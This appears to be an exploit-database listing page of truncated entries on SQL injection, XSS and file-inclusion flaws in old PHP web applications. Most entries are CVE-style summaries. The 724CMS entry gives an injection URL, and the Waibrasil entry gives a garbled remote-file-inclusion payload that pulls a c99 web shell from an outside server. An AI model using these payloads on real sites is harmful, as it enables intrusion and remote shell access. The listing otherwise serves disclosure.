JE Ajax Event Calendar Local File Inclusion Vulnerability

Exploit for php platform in category web applications ========================================================= JE Ajax Event Calendar Local File Inclusion Vulnerability ========================================================= :::::::::::::::::::::::::::::::::::::: 0x1...

Sql injection

SQL injection vulnerability in index.php in Hi Web Wiesbaden Live Shopping Multi Portal System allows remote attackers to execute arbitrary SQL commands via the artikel parameter...

CVE-2010-1924

CVE-2010-1924 describes an SQL injection in index.php of the Hi Web Wiesbaden Live Shopping Multi Portal System, exploitable via the artikel parameter to execute arbitrary SQL commands. The affected component is the index.php entry point; root cause is insecure handling of user-supplied input in ...

CVE-2010-1924

SQL injection vulnerability in index.php in Hi Web Wiesbaden Live Shopping Multi Portal System allows remote attackers to execute arbitrary SQL commands via the artikel parameter...

724CMS Enterprise 4.59 SQL Injection

Exploit Title: 724CMS Enterprise Version 4.59 Multiple SQL Injections Date: 11-5-10 Author: t@nzo0n Version: 4.59 Enterprise Code : section.php x Variable : Lang x Exploit : http://target.com/section.php?Nav=Section&ID=5&Lang=sqlinjection index.php x Variable : autoslide x Exploit :...

CVE-2009-4869

Cross-site scripting XSS vulnerability in index.php in Nasim Guest Book 1.2 allows remote attackers to inject arbitrary web script or HTML via the page parameter...

Sql injection

DISPUTED SQL injection vulnerability in index.php in TYPO3 4.0 allows remote attackers to execute arbitrary SQL commands via the showUid parameter. NOTE: the TYPO3 Security Team disputes this report, stating that "there is no such vulnerability... The showUid parameter is generally used in...

Cross site scripting

Cross-site scripting XSS vulnerability in index.php in Nasim Guest Book 1.2 allows remote attackers to inject arbitrary web script or HTML via the page parameter...

Free Advertisment CMS - user_info.php SQL Injection

Free Advertisment CMS - userinfo.php SQL Injection ========================================================= Free Advertisment cms userinfo.php SQL Injection Vulnerability ========================================================= Name: Free Advertisment cms userinfo.php SQL Injection Vulnerabilit...

CVE-2009-4855

TYPO3 4.0 is affected by a SQL injection vulnerability in index.php via the showUid parameter. The root cause is an injectable showUid value, enabling remote attackers to alter SQL commands. The TYPO3 Security Team disputes the report, noting the showUid parameter is commonly used in third‑party ...

CVE-2009-4869

Cross-site scripting XSS vulnerability in index.php in Nasim Guest Book 1.2 allows remote attackers to inject arbitrary web script or HTML via the page parameter...

Waibrasil - Local/Remote File Inclusion

Title: Waibrasil Remote / Local File Inclusion Date: 10-05-2010 Author: eXeSoul Vendor: www.waibrasil.com.br category: RFI / LFI Version: webapps Tested on: Apcahe/Unix VCE: Code : hhttp://thttp://thttp://phttp://:http:////http://http://http://http://http://http://server/c99.txt? Dork :...

Cross site scripting

Cross-site scripting XSS vulnerability in index.php in RepairShop2 1.9.023 Trial, when magicquotesgpc is disabled, allows remote attackers to inject arbitrary web script or HTML via the prod parameter in a products.details action...

CVE-2010-1857

CVE-2010-1857 affects RepairShop2 1.9.023 Trial, in which a vulnerability in index.php (products.details action) allows SQL injection when magic_quotes_gpc is disabled. The underlying flaw is that user-controlled input in the prod parameter is not properly sanitized, enabling remote attackers to ...

CVE-2010-1856

Cross-site scripting XSS vulnerability in index.php in RepairShop2 1.9.023 Trial, when magicquotesgpc is disabled, allows remote attackers to inject arbitrary web script or HTML via the prod parameter in a products.details action...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in SemanticScuttle before 0.94.1 allow remote attackers to inject arbitrary web script or HTML via the sort parameter to index.php, and other unspecified vectors, a different issue than CVE-2008-6113. NOTE: some of these details are obtained from...

CVE-2010-1739

CVE-2010-1739 concerns a SQL injection vulnerability in Joomla!’s Newsfeeds extension (com_newsfeeds). The issue is exploitable through the feedid parameter in a categories action to index.php, allowing remote attackers to execute arbitrary SQL commands. The description is consistently reported a...

CVE-2010-1733

Multiple SQL injection vulnerabilities in OCS Inventory NG before 1.02.3 allow remote attackers to execute arbitrary SQL commands via 1 multiple inventory fields to the search form, reachable through index.php; or 2 the "Software name" field to the "All softwares" search form, reachable through...

Sql injection

Multiple SQL injection vulnerabilities in login.php in 2daybiz Auction Script allow remote attackers to execute arbitrary SQL commands via 1 the login field aka the username parameter, and possibly 2 the password field, to index.php. NOTE: some of these details are obtained from third party...

Puntal 2.1.0 Remote File Inclusion

==================================================== Puntal 2.1.0 Remote File Inclusion Vulnerability ==================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ ...